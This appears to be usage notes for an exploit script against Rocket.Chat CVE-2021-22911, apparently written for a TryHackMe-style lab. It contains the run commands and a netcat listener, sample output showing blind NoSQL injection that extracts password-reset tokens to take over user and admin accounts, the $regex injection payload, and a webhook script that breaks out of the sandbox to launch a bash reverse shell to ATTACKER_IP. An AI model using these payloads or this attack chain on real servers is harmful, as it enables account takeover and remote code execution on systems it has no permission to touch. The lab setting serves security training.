pip install requests

nc -lvnp 4444

python3 rocket_chat_exploit.py \
  -u [email protected] \
  -a [email protected] \
  -t http://chat.rocket.thm \
  -i 10.9.0.1 \
  -p 4444

Auto-detect tun0 IP (Recommended):
python3 rocket_chat_exploit.py \
  -u [email protected] \
  -a [email protected] \
  -t http://chat.rocket.thm \
  -i $(ip a show tun0 | grep "inet " | awk '{print $2}' | cut -d/ -f1) \
  -p 4444

============================================================
  Rocket.Chat CVE-2021-22911 — RCE
  Target : http://chat.rocket.thm
  Shell  : 10.9.0.1:4444
============================================================

[PHASE 1] Low-priv user → [email protected]
[+] Password reset email sent → [email protected]
[*] Extracting reset token via blind NoSQL injection...
    [43/43] aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd
[+] Token: aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd
[+] Password changed to: P@$$w0rd!1234

[PHASE 2] Admin user → [email protected]
[+] Password reset email sent → [email protected]
[*] Extracting reset token via blind NoSQL injection...
    [43/43] XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ
[+] Token: XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ
[+] Password changed to: P@$$w0rd!1234

[PHASE 3] RCE
[!] Start your listener now:  nc -lvnp 4444
[*] Press Enter when nc is ready...
[+] Authenticated as [email protected]
    userid : userid123456789
    token  : token123456...
[+] Webhook created
    http://chat.rocket.thm/hooks/hookid123/token456
[*] Triggering reverse shell...
[+] Trigger sent — check your nc listener

{
  "message": {
    "msg": "method",
    "method": "getPasswordPolicy",
    "params": [
      {
        "token": {
          "$regex": "^abc"
        }
      }
    ]
  }
}

class Script {
  process_incoming_request({ request }) {
    const require = console.log.constructor('return process.mainModule.require')();
    const { exec } = require('child_process');
    exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"');
  }
}